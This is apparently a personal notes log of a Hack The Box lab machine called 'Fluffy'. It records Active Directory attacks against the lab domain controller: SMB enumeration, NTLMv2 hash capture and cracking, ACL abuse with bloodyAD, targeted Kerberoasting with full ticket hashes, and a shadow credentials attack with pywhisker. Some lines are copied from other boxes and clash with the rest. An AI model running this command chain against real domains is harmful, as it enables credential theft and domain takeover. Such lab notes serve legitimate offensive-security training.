HTB Fluffy

j.fleischman / J0elTHEM4n1990!

```
smbmap -u j.fleischman -p J0elTHEM4n1990! -H 10.10.11.69
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote
Admin
        C$                                                      NO ACCESS       Default
share
        IPC$                                                    READ ONLY       Remote IPC
        IT                                                      READ, WRITE
        NETLOGON                                                READ ONLY       Logon
server share
        SYSVOL                                                  READ ONLY       Logon
server share
```

NMAP Detailed

```

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-24 15:10 EDT
Nmap scan report for DC (10.10.11.69)
Host is up (0.34s latency).

PORT     STATE    SERVICE       VERSION
53/tcp   open     domain        Simple DNS Plus
88/tcp   open     kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-25
02:10:19Z)
111/tcp  filtered rpcbind
135/tcp  filtered msrpc
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain:
fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T02:11:47+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>,
DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
445/tcp  open     microsoft-ds?
464/tcp  open     kpasswd5?
593/tcp  open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain:
fluffy.htb0., Site: Default-First-Site-Name)
```

```
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>,
DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
|_ssl-date: 2025-05-25T02:11:46+00:00; +6h59m59s from scanner time.
1433/tcp filtered ms-sql-s
3268/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain:
fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>,
DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
|_ssl-date: 2025-05-25T02:11:47+00:00; +6h59m59s from scanner time.
3269/tcp open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain:
fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T02:11:46+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>,
DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
5985/tcp open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open     mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-05-25T02:11:07
|_  start_date: N/A

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.32 seconds
```

```
SMB         DC              445    DC01             [+] Enumerated domain user(s)
SMB         DC              445    DC01             fluffy.htb\j.fleischman
badpwdcount: 0 desc:
SMB         DC              445    DC01             fluffy.htb\j.coffey
badpwdcount: 3 desc:
SMB         DC              445    DC01             fluffy.htb\winrm_svc
badpwdcount: 1 desc:
SMB         DC              445    DC01             fluffy.htb\p.agila
```

```
badpwdcount: 1 desc:
SMB         DC              445    DC01             fluffy.htb\ldap_svc
badpwdcount: 1 desc:
SMB         DC              445    DC01             fluffy.htb\ca_svc
badpwdcount: 1 desc:
SMB         DC              445    DC01             fluffy.htb\krbtgt
badpwdcount: 3 desc: Key Distribution Center Service Account
SMB         DC              445    DC01             fluffy.htb\Guest
badpwdcount: 3 desc: Built-in account for guest access to the computer/domain
SMB         DC              445    DC01             fluffy.htb\Administrator
badpwdcount: 3 desc: Built-in account for administering the computer/domain
```

> smbclient //10.10.11.69/IT -U j.fleischman%J0elTHEM4n1990! -c "prompt OFF; recurse ON; mget *"

> grep -rEi 'pass|admin|cred' .

> find . -type f -name 'comment.cmtx'

> evil-winrm -i 10.10.11.70 -u 'j.fleischman' -p 'J0elTHEM4n1990!'

> bloodhound-python -u j.fleischman -p 'J0elTHEM4n1990!' -c All -d fluffy.htb -ns 10.10.11.69

> neo4j console

> bloodhound --no-sandbox

https://cti.monster/blog/2025/03/18/CVE-2025-24071.html

```
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash     :
p.agila::FLUFFY:713a255ce9a9a2ba:AB353D969E486D1D122A14B0F735A164:010100000000000000BB9642
D0CCDB01FBE8B4D3FC9BEFB3000000000200080031003500 42004F0001001E00570049004E002D0056004F004A
0047004B00430059005A004A004100380004003400570049004E002D0056004F004A0047004B00430059005A00
4A00410038002E003100350042004F002E004C004F00430041004C0003001400310035 0042004F002E004C004F
00430041004C00050014003100350042004F002E004C004F00430041004C000700080000BB9642D0CCDB010600
0400020000000800300030000000000000000100000000200000BE63FBC61C937B9C58E413AA6DBEB4D1B01172
D23877EEBBB5669BF0C204B9940A00100000000000000000000000000000000000000009002200630069006600730 0
2F00310030002E00310030002E00310034002E003200340032000000000000000000
```

save this into **hash.txt**

```
p.agila::FLUFFY:713a255ce9a9a2ba:AB353D969E486D1D122A14B0F735A164:010100000000000000BB9642D0C
CDB01FBE8B4D3FC9BEFB3000000000200080031003500 42004F0001001E00570049004E002D0056004F004A004700
4B00430059005A004A004100380004003400570049004E002D0056004F004A0047004B00430059005A004A0041003
8002E003100350042004F002E004C004F00430041004C0003001400310035 0042004F002E004C004F00430041004C
00050014003100350042004F002E004C004F00430041004C000700080000BB9642D0CCDB01060004000200000080
```

```
0300030000000000000000000100000000200000BE63FBC61C937B9C58E413AA6DBEB4D1B01172D23877EEBBB5669BF0
C204B9940A001000000000000000000000000000000000000900220063006900660073002F00310030002E0031003
0002E00310034002E003200340032000000000000000000
```

```
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
```

password: prometheusx-303

smbclient //10.10.11.69/IT -U p.agila%prometheusx-303

```
net rpc group addmem "SERVICE ACCOUNT MANAGERS" p.agila -U
fluffy.htb/p.agila%'prometheusx-303' -S 10.10.11.69
```

bloodyAD --host "10.10.11.69" -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" set password "winrm_svc" "p.agila"

net rpc group addmem "Winrm_svc" j.fleischman -U puppy.htb/p.agila%'prometheusx-303' -S 10.10.11.69

Change Password of Adam.Silver using Ant.Edwards

```
bloodyAD -u 'p.agila' -p 'prometheusx-303' -d 'fluffy.htb' --host "10.10.11.69"
set password "winrm_svc" 'PuppyHtbRocks!2025'
```

net rpc setuserinfo2 WINRM_SVC 23 'NewSecureP@ssw0rd!' -U 'p.agila%P@ssw0rd123!' -I fluffy.htb

bloodyAD --host "10.10.11.69" -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" add groupMember "Winrm Svc" "p.agila"

./targetedKerberoast.py --dc-ip '10.10.11.69' -v -d 'fluffy.htb' -u 'p.agila' -p 'prometheusx-303'

```
$krb5tgs$23$*ca_svc$FLUFFY.HTB$fluffy.htb/ca_svc*$53d5e5851ba59a812248dfa5a08b87f7$46d4b01
c8f134cdddef45fd4c8d69b1e8bc5fde552986c88129698a4bfe828144d7e312f7546154f96b449bbc83f322e6
06451d26ac7aaa7f82592d7e9a52c7c7c41923182689a8206d78fc115538dd080b7df38e9c3461b3a7785b1c87
374ead992e2f8ad04137236b11c8cb17c20f57a79ce53d6e7235711ad3725bbff7cc25757b864f74d2b4a3ec7b
8da926e9d3b35dc258f1359c1ae47925f8ff3d8632298c71262e47a7049877f0733af369e1967fbc77360ea7e7
6f4443983d5a379ab308be3b3623eb9cedebf25b3d2fb01fabafe7ae2c097f66e7b2ad639c3a14037f481fa6e9
af89be6e22906b1b789bd81beede1fa425b780b078d1f7671b63d9b49c1442d7aef51c823225ff8745a5ccc107
df6c35b484e7354f218490d77b53a2e8e73338a23ca22f2745a78f4adba733975bc63ee6c770ad1aad4258c1a9
935e88154f79fffc3233053fb17bf3027eae2637dcb6663a71dfb2ae3103f9d780e30b4f7f8238b5c9cec76362
d077179fd77ef610039ed718bc4692b453fcd0005b1495593989676fd47b170cf2205acf297a893a552346e2a2
7440ea0b199f9a05ecb49fd8c9edd285407b4b5c582e3ce854eec41595481bbb71ee89afa1aca6e9bfa4cd377b
29b9f49eb39fd11d34b198b18864d9226dfbd5b1ea63c354c6411327dd719e430333710144de447b3063ce999f
c86c4f96c62fb351e9d840abca878c57306b6807f37271c4ab2b7aff804fc96b63d507b0bd91299e5281caec1c
65ae675114b8dee6bb97164a2f5b7d43ab1753b4334a2c8d00bca0bbe9f0f7313b765ad02db123a4a868c1a7ae
8fced1f0692060369366db0a775ee038e7a8f02327dfc87de8db512725c443ed519d52981ba0a1e2d00d144640
```

```
00c9fd6eb6f22a63f9cad00d1b0f83c9fbe43ca480323713d6d83ee575d48c4b5d9b2097cb12972c76c0210c9b
0baa1e60702c783546e36b58efb841b617e1de291a243194d31a97d4b1ee3b5de06fa571979395ab8b5e5f586f
c0edde7d943e48ae49f0526ff461e801c4a15fcc833a2ca9b239c2bd8362777fd3ae7f04c22929926653facae8
d884a7484645a663df529a9ac9db4ce96e17d7245e917974892bab4ebae5ea59a298ded08a0f5c405b3295a644
3d43d0c9e55f922e906f3b5f0ad41093f7a83395cedce3b19f941bac97e20cddd7005f62658e626664f340c52a
61ecf0ef8d2d1d9176b48ae6b733eb91c760030e7ecd3c84bcd7a3b32ccc4275cc183d593dc54c43058495aa3a
4700d3b4b303d9d7b6350557f612bcd67333ab223ad6328b2f073fcc8507bf8b5165567d9e36a5fdff5eb8f202
b732d35a5f1f5a5bc353027f5bdd7f090c14285281daed03c0237ea1b0d60eeeab1fd1d9fb8c8d1c9dbf7e38b9
b7dd072116d738ada55cbbf13b50d6864c3df688231b31f58df4ce6d6dc2ed269c61c64e84bd958e7008e10c33
0c3ca1909d553697297a812b0a7fbb851679af3
[+] Printing hash for (ldap_svc)
$krb5tgs$23$*ldap_svc$FLUFFY.HTB$fluffy.htb/ldap_svc*$3f9e80035e2925fb2f1bad387578a7e6$e8c
e6334f56cb44f8be8f76357d24b1b6b3f22bace583a9e5bad4bdf73a1d9e8788b8ccdf38bba1fe454abb67a286
fcd3841991caa1b9c7a02a7823ed933d7613efc9d3c6240b7bb0a45959ba0b24701d9d42c6e00933345a2af501
7b73e1ef11a4dc72802745e5ae517f58e595abb972cea8c7e93ff2e397545d290dbe36bcfff9ffa7797b34c5f3
8cb282b271e63688af8d440cc8fb3f12b4fad7596e4713d96447aac06b25d15371d5f6966f31c5c83210ce29fe
d905f187f60d9eee09cfcbc4d2d5f5a5e1b5a7c5ec82d429ecb57d1f8e26dd4462e4df7610b26e4d30dfbf1d9a
9042364c5e2ee33c0c8c0b5e70bb9e195b11978a107ec78fa3e185704ce1a43b9db3e5da1299b6564a84d8956f
596115fba093dde2061c534b45f08863df970eb0ea873ba88b994179101b5823cc652e402c6ef13fde2d1327e5
9254b87375fee01797256469 0f28a229978b118cbde1b4908a3d2ee4932c86486dc1af95f92ac79688644fcb4f
9c5d71efdb97a08964157ec69cbea0aa805c76fbcac6f27621894dd3522edd9a3e6da5fc307ae17a91fd7d48e8
775116b9b127e504eb33d179afbdceacb838df13c2d3ef0d2ca81c4bc2ddf41d2eacd49cb224f428aef8e1772b
1011605f6ce476fd18f39572733d04f59771432f36192df0db2f46a4f6b9ddb971ec5e227eb6cfb92976f9b6be
786470bfee37205a126d5360fbab18d36d5fd39890f59ec0fdfef68569e9515b9277f54cf3ef85f81957e16098
1d173937fbdc0d2f697725c6efd161c5aeea40ecb99f8e57566ff9c21521d7eafe23b2df3cea283e57ac90cdfc
eac84838346cfeb5fb8371656f344325fb6ffd23bc6019d898cc88b7be708ce5f3d2715bbe618175a9834b6c46
48a7e568b57cfad2c96711ffe9ae0d8bda2dfaa1e25ab441cfecead809a380d6a5fad91c4b141a20ef82d5e90c
3d78c8f1ca22b00f2cfe23e2bfe75452535aefc03a74ccd0cf8d615d873f4acd87606f02b3dc2a44e79e4a20ac
c726c8338154497639bd41a7e7ed8a6837e3bb6d71b22832cf5d8941aeff10996db4ae20437c14f9c0f7898bf6
c780c867b7b9848e49feef431c67c7c4400b835d481da243d764f9bde36e0c36ede3c56eb34e45f812a5baef14
94c6de8017c3a12b5dfe261e7cb5fabc622513fc11bd30b347d6196f4c213f1c9bbcb61623c02a0e14300b5b0d
c2c85381aefd6c8e68a2a3f3a007e062f9c7949edb35a987f0565e43a4d4d9bd208c1fae1f9f86ff3ecb60749d
578ae8ac69c943ca779b4cd8df2df9583a936ed70b15b4199920b438533dff0bebc2a5eaf107749d23eb1df41d
2a1e1050d816873b850fa0ff1905ec434164780692dec5c83d86ffccc079e22f97d554223c234fa96532bddee6
d9b4f23c11384fc5cfcbd2982b10a24bda2f85c9f98017d26040539020ad024790d1e4564c222a11839ad4a86a
b4bbe10eab26bbf185a6e864eb7a3635b99461d8674
[+] Printing hash for (winrm_svc)
$krb5tgs$23$*winrm_svc$FLUFFY.HTB$fluffy.htb/winrm_svc*$191d6c1b1025d272e29ad9f88ef611a1$c
e0d6eb0d2dc24ac63fcb5d048e7b933cb03e02c432ea00973fe55cfb8154b66ba8ef3329b00f1d6791a0745f49
94468b528f1be54a2f375c3a9ed8c9fe2dead7ee6f99d305b49379c9569bb91a527eec84a63aaf1c221b82cabc
0e205d8743e937eeb97af24b262875a02b5a1acd7b3a657d026184b4024988868fa42e04978372685e1700bba7
32e64ab567607a5b23d5b0d4bdcda880ba4bac256f2c9d5fcdf54e7006c317c86ec0d0f24ef0c726f23876c985
aa68f3ec3f7021cc61fc92ac87ca47dfe061021d74569c6dec3a5adf2702cd36b8ac10dfc21d6f82b252ad00d9
be856ac56602c324de4c2d4f61629eed597c49f452d59d469a634ed593a423e1a54c5155fd69cac89423510a0a
8690364eed6ca5387c4d893fcdebb6f0825b3ce3650225b38158addd322724997500cf9f7dfec983086ffa8a63
9d7fa9692222ea0b6ef0e8e8671a2d4e91185a8900040ac7df70bca37bb26c0067aea668d709ce76db0e84820b
```

```
a5ed435b47a8c48833f24ba51d5600efb8d8fd0bbd6146321fb5a02d4db78711931f6abb0c34a3a248deeebada
5769d6e4ec2be827f0eb8816b6c9ebfdc3463e3ee274f0d983ec3886d4bd6f24376ba73361283d0769310af3b9
16c8fe58b1966c2742f185894758e0f81be536be9991356946573cfcf634dd4ed2b55fceb58a3691ecd958e41b
37bbf05629988275569f494061826ad8460b225544e4c5b6b35535c74d75668ba0475cdc00da143928fbb2297d
6083e04f41a5d5d188b98717862d7bf2afec2b20beb7352f2fe5828f8845a7476f4a26103c65e667a698b3ce9e
ca0e1833d2fda769ebf7ddb392e68868869931cbe4b496df8a5d50ed72ab5d94fe2d45bb4f98a3cc5e6056e9bd
a0b2cfe1059548ae468dc46e3ed22402ecad9512eabe915a360604577599d7ade36d6d380c5f12f5dcfd20bd6b
d78b6960a64a265041781e8dd98e2a822d45d56c802c71954393021c1f9935d6432b3cfdc5bb445fc36d1be83b
4a21525c5488f5112d0000d067fe6048fa9e138325c222c308896b96bdd4dd8488d470c32837016fae1053c1df
98d028a04758fe300545c646ce22e70cefb6b1ec355e49b2191a9ad10f802a8d1d2e7a8771f5fe7d788ff89821
eb79fd2a1aeb4a98ed9a2ff89e7ea8f0bceba575d4785ae7cdf33fd0877cd84f715d5ef43c066e084922c80344
80387c804a68c2e3f0a5224818d1dae22950153ee5174a9962181dcfdaaf2acddc7e60564aa8982af25f724547
d98f156987f8001913287504e17476ce4b18bc9242ba7852b242b2050494139cbd0988304f49cc65f30832deb6
2b0b0c1db3fe56560ca14fb78ae19061d1beadc756c689d8e0ccd27f817d820f165a4cfef043aa5ac8bebd2a4d
ed3060784de401d9c974ba8cb11c3e67b94b01ba0049d3a3ff26c157ffa9e7eda83e26dfaf1a8916587b1403fe
8443694186133fcd69fea4e7bb5505341588f5ceecc5b
```

```
$krb5tgs$23$*ca_svc$FLUFFY.HTB$fluffy.htb/ca_svc*$9fbd6000d376d89b4cc3295249176b2d$9c97a97
b918276b10b1ad5b04e669554a87c5a45e063becee099705fcb99ad69f5e7ebf99e5b452bd29e97dbc9e29f58c
b7c82da6b81d0178dd63b50bc22600a4f5cf745af02fe5a5cb2ac53bd18db2897c24ccb09e08dc9833f2026783
25e5e30165d4ecb771f64fdd87775bdaeab5c45cfa5c1e73f0a16436eda93e979780a1008c1916216466 8b0494
3c02dd56315b8f56fcceb8eae17930cc2096e79d1824cac31cada2e8c5bb7c42ff73a0e775f269ebe200fe2481
92c881ddba1e8304d853a256a6c0d2a211a895caf9f17d978d6dc9852307cffefaff46d89f37dbe898afe84bea
001defab595c7f416fb683ff6fb36172bb4da70f84aa0aebfb9092958e181be60776be93589eb09d946adeaf2b
449e4919c6aa0a38d3811078d7ae33dc036007ebcc195c7b32da0e48df84075858f0308bc72eca8e5e43dd0c45
d790b6eff48335610cafca342fd4545c35de7009105b21d7061aea5d2020af582fac084d66699c1a2a6d8d6b74
662899762361c4e17c30942b3f25b4f44664eb860a7523211d1ab23624f9af65ff6952347155e1a712f1b1af82
1a7debf6ade3055052c5d72c5fffda728b91cb22ebd1ce0802da7f5ded645a5ef06cb2feefcfd0f085a4244e01
02a9b3959db1449801120514da227d4616fbecf391ecc9b8dfbc2d765e687fda9b9f0e032bb8573cb08fbc2437
f0f23c20789bb916f850454cb8ba36a581a1ce98bed41219f5378c8c0c5c0203162a4979013112f5ffde210819
3d821709f79fe5968b77f11ef642c9ba65c1768642c267a779c368d4a13ea4b71383b908ead2719191e3f68fc2
ffd8a2b87aeae29bdd1ce403cb64659a3b01d7ef2f621dd04d051f9fd60efbdcafcace75c7eb34c010019e94c6
c9cf593d0c64ea15a537392f9d9ce3bb2fb64731e6fbabc291ed81cef623dca083269df5186f1da9f8e8707b7c
4b96dcde43f56b9abc5b9bcd6001c7634f29498d2f1e3a1ba617bb4894ce8f14ba7015c2e9c8c764bdd1f61677
9792dfd82a415c4c89e116b4a67e7641be732dfde9cc2508cac76539636a5202555e8545d803e95bdfb2b4b944
b358a8913e2c68e365372c03ac16d92cef5dcb16bfdee5116d7b5bbf1b27c3c44a178cf7114658234a81f5b2a0
f8baa00a2f6b77285122d440bff2031756118f25e5d3de53b1098f7ae5704f0e715f42758ba21d26ee350bd271
dd5579bacd0bfd6b7796535068a948449f4c3c28dd4a355a79d6fae430f6545b0b6d62ffafab18e0d76d3a2a6d
79c6a4f2914061e33288cc9f7a4b06579986bacbcc39c5bf9f363a9c5209e32e40b6688996f2bd7a7196552244
17aa6347f959d2ecb65df8759be5314e1139753d49fb99d5bf07edc62e5017904a258a943193586257f82d2a37
1762a0e90a5ea30ea80f35e63a7330860e4d7ca526ce5aa3b219eb9cf7ca8af733897362e99047ea7f27cc5ae1
383339e516afc4c87ed24db380d3cae2f702d9e
$krb5tgs$23$*ldap_svc$FLUFFY.HTB$fluffy.htb/ldap_svc*$83212b2e7f524aa1655e91ab370da55e$788
642594ee7a9a24859a3f43c5129f93624b9fdaafa52880bee4fd75ab012b004fff9671daecb698199fe9ddf547
```

```
71897338f5da89ab26d335163e7d111ddbbcca475315335fbe3844c6b2ebab0090c6ef303a02ce5291783baef0
2c62c290f82aaba66de8eb795c6694cf85c6c96ada433c0f38d063f58365401e71eb57123de0e0b32f85d2605a
3a493266622518068a3722d3d7b9df0223a07efd0cc30c0720b2db01d9e54066133986cbfcd1dbfca3228afddc
54db8cc9d5864924f4c459c0af0a830624abb405313ef04e060fb8c1076adf89da4ad97097d61f2ff77cf74a5a
e2102d14ad4e608a9759625055a2d9ae2e13dd867c6a354ac857305989ce04b95dbf4cfac1ac0f79125794e5e0
782e14a2208b89f8d4b52bacf3023ae864af3e2a39205ec00196223dbca10dced753fab2b4e4f18c36f9d1e365
bb54647406a544af3f8d124b30b4df0a6dfa56194b1b896e60946318b265c6ac50bf0c62c82d1c3d47df555d51
837f762983763916a15f56b770506ae527895810940cce4efd2ee3f68c0d5786be3c881948f5e9e97ea7f5bcd0
a85d306310c82e7c0a77982dcdde2cac01bdfac2fbd55e4b5d610e366c5378befc453004789de96623add8f020
3cef61650a18721f37a577aa31fecd325fee32739692b5886da9d608f14f675c8e47a26677050021509a2372b7
ccd8e79d53a20beb3c8798e7c9bb5333bea7fa10534a86b7a368155146edfd77d5b9236b0cf2d05ad9d1f8bd73
de0c2ac4eee9a793505c04368faa59ea52f9e9aa9124cb24626708cc1ae3667e82115a97426e129bb3eaf9e6e0
269807a45e09dfe15412b8f1cce76fe36a310aab7c8ecff0c6e1bc3cf71daa465fab0c181a2d24264ed6c40399
ad9dcea84bfa6686725a9c13fa7a41c10ccc19719c467ba990c326fcaa06320b08125a17bc89fff5189caf991d
32bbdeba45403fadd54053271a1c714a646be739796c8b5fe53e05bfeb0d13fd0137a4ea21a8f91e4b1e8edb78
c408eab26c71059008cd60abf66e0f890fbff53f897816f4d807d49b7f1e21282990e4fe82d26040b038214bfd
542ac3d69d0ef0bb7237136a22ae92a0ad304fb8d284420c1fb8d399a2b9a70f5cad88556005aae9efccd469be
34d201b7b13e5c4b00df28ce67f65c54984eb1270b56e72f26b537064d76118792f2cf508925e03cc11f85fd89
9667978ecf355e71e83982befaa017fe92d327ff036f640fd37757185118f37a5c473c87967e3f193062582ded
098101aec8f56e80105d51f4fc6c88bd31513661c69e1e0f87780a14b558779afc54ea7bbb68e848a32a6fbe89
aeafd1b1363cbae2b3fd35bae1fb8b761da08d8f1ba188f4d4e39664cd8de0746ab71455f195aba152712fa4c8
117d3ce7f48eeaafaf32f958862e34eb660d64b5c35ccf82b6aaa1cc113a0e6ebff5b154271ac83a4177796c28
2c6005604512c3815106a452f09bd0ad308c31a7733
$krb5tgs$23$*winrm_svc$FLUFFY.HTB$fluffy.htb/winrm_svc*$b881a410588437602d21ab0bf39b281c$a
331343611c52a2baee71c31258442ac6fa03ecc940981970c90bcca5f606fc56a5312410650b289971524c5793
91f0ecc9690b872880613414de101c04098f3314c226c1094d85c909319c51aa0abe2005dd06276a7ef8520938
52c042d46a4aeae408200e34bab4d6b7451374122f43ed4a13158d2285287aba923421471500f218a0d2ba86f0
8d3d090bce3e0d79f22eb1bb649fe8d54ee23feac094e6d6a290375374bf77574474454c5327c2e26e4d8f83a9
2fe029d54e436ef09a6310e9279c269b4ab7f6b5ddcc86347d89a606a58dc26539f986eae202cd2ac8488c8db6
3e91ad5f0f716d2b6d5f6abd37615f73db60ad2775e72f4d47c13287a2311f632d1603776f8e93d3e904f7f432
5a805ba74b0705ff47e3b5319f57d5fd6a6ee15154e26d5f9ad27458d7a3b62c8a8b2334cc4662e5f8b460e27b
735e0db0c1ce0c7a94273aec9c918761f910a9b4ec0f375747f1312a31e0ad71887729b338882ea592bf50f477
cd6f3018dd401d2d1498ca10f09316e42717c71a6a18ee3d9c4dc2ef404dd75c2cd29f9503105602c724c2fcad
b0850160579882ecbce443985c813b3221d6d47194b82db0d6e1db6d64c1233e6524b1123ac20f90c854c792b7
bf05dbe15f94665fdea2accd48f98b4468eb5367504eb1027a74d11a5c7814b9ec563ce6da14ae2ae35045a0ae
5cd212706ca4e3422fa81e7665cee87fedbd146b55692e02b48df370c990e1c950e7c45b8ff84fb0d1c85a32e3
17476639af94f17a4b80648aaa44728aed5cad5f19f611d8613bc2522651cba993734de963498f41db6dc0a4c4
8098176a1b65812446c7abfeaf30e84f9de6ced18eb0c2110ce044f0f03cdf6932793b1b1ee82a9028554d9317
129f410113cc10690de808d4fb72970c4cd0e82ff7b986f8ebe2310a455589704cf03e1a11795b89f021c53172
e336992e61f8ae8bac5f73c00cb5457ffc301ab67f2fd2491056aaf9d8af80ca10be6f4625635e3bb23921b0db
36fc76c9d4180b861a022cb4ceaeca5ea9e2efe486aa3e9a81dfb13bfa35fb2e14413fbe1b4eaa82eec9016c3b
a742ce35d212b0842aa7f2add82431585263de4713292277d9d620c283debe6601ac9085bb0c5b7ff044df9812
7f81678cb1c5c4ac34c5ef18908bd2ce85a135997c00a36ff774cff1d791fb62795aef2a79c513864a936f0c3a
c29ce5a0c2982ad1e038ee6adc89010a3f6f399dc6f50312f3d2200d706c803528b1c07c928d7895fabac84174
a1912f205cc9079f4bcf0e7bb8b73c1c143c921a20136453e5545e0a1f84e302cb855f900b999aa32129ea509b
312ce0c0ac8e4b0c3a1fab581e03abdebd543af359a458e2d840f1614d71b7471771d3820613f3ebf17e4db27d
```

```
850b9941549fd4a019e3a989f4b279995f41c533e9b53d41155b01611c442482b5af6ff3361b6636b27fba5248
c1c97c1edea21edbe1aedbc894596156a0dd04c91c5ec
```

```
sudo ./john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt
/home/kali/htb/fluffy/hashkrb.txt
```

```
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS-REP etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
0g 0:00:00:05 DONE (2025-05-25 02:17) 0g/s 2622Kp/s 2622Kc/s 2622KC/s
!!12Honey..*7¡Vamos!
Session completed.
```

!!12Honey..*7¡Vamos!

SUPER PASSWORD CRACKING with HASHCAT

```
hashcat -m 13100 -a 0 hashkrb.txt /usr/share/wordlists/rockyou.txt -r
/usr/share/hashcat/rules/best64.rule -o cracked_output.txt
```

GENERIC WRITE

> The user P.AGILA@FLUFFY.HTB is a member of the group SERVICE ACCOUNTS@FLUFFY.HTB.

> The members of the group SERVICE ACCOUNTS@FLUFFY.HTB have generic write access to the user WINRM_SVC@FLUFFY.HTB.
>
> Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user

TARGETED KERBEROAST

Targeted Kerberoast
A targeted kerberoast attack can be performed using targetedKerberoast.py.

```
targetedKerberoast.py -v -d 'fluffy.htb' -u 'p.agila' -p 'prometheusx-303'
```

The tool will automatically attempt a targetedKerberoast attack, either on all users or against a specific one if specified in the command line, and then obtain a crackable hash. The cleanup is done automatically as well.

The recovered hash can be cracked offline using the tool of your choice.

Shadow Credentials attack
To abuse this privilege, use pyWhisker.

```
pywhisker.py -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "winrm_svc" --action "add"
```

For other optional parameters, view the pyWhisker documentation

```
bloodyAD -u 'p.agila' -p 'prometheusx-303' -d 'fluffy.htb' --host "10.10.11.69" set password "winrm_svc" 'PuppyHtbRocks!2025'
```

SHADOW CRED BEGIN

https://www.hackingarticles.in/shadow-credentials-attack/
https://github.com/ShutdownRepo/pywhisker/tree/main

LDAP Shell Shadow Cred

cd /usr/lib/python3/dist-packages/impacket/examples/

```
ldap_shell fluffy.htb/p.agila:prometheusx-303 -dc-ip 10.10.11.69
```

Bloody AD

```
bloodyAD --host 10.10.11.69 -u p.agila -p prometheusx-303 -d fluffy.htb add shadowCredentials winrm_svc
```

Saved it as `cnxEg7Tz_cert.pem` and `cnxEg7Tz_priv.pem`

```
sudo bloodyAD --host 10.10.11.69 -u p.agila -p prometheusx-303 -d fluffy.htb add
shadowCredentials winrm_svc
[sudo] password for kali:
[+] KeyCredential generated with following sha256 of RSA key:
a4d2c911316656c923260917a29e24379284fb7797ee8c1c91f02d4e7488cb8d
No outfile path was provided. The certificate(s) will be stored with the filename:
cnxEg7Tz
[+] Saved PEM certificate at path: cnxEg7Tz_cert.pem
[+] Saved PEM private key at path: cnxEg7Tz_priv.pem
A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Run the following command to obtain a TGT:
python3 PKINITtools/gettgtpkinit.py -cert-pem cnxEg7Tz_cert.pem -key-pem cnxEg7Tz_priv.pem
fluffy.htb/winrm_svc cnxEg7Tz.ccache
```

```
python3 PKINITtools/gettgtpkinit.py -cert-pem cnxEg7Tz_cert.pem -key-pem cnxEg7Tz_priv.pem fluffy.htb/winrm_svc cnxEg7Tz.ccache
```

PYWHISKER

```
pywhisker -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "winrm_svc" --action "add"
```

```
[*] Searching for the target account
[*] Target user found: CN=winrm service,CN=Users,DC=fluffy,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 3eee9366-a8a4-15c5-2b93-cc63f1689d0b
[*] Updating the msDS-KeyCredentialLink attribute of winrm_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: 8aLaZDic.pfx
[+] PFX exportiert nach: 8aLaZDic.pfx
[i] Passwort für PFX: AQofRrdGZMsltVMixdA4
[+] Saved PFX (#PKCS12) certificate & key at path: 8aLaZDic.pfx
[*] Must be used with password: AQofRrdGZMsltVMixdA4
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
```

checking (optional)

```
pywhisker -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "winrm_svc" --action "info" --device-id 3eee9366-a8a4-15c5-2b93-cc63f1689d0b
```

```
[*] Searching for the target account
[*] Target user found: CN=winrm service,CN=Users,DC=fluffy,DC=htb
[+] Found device Id
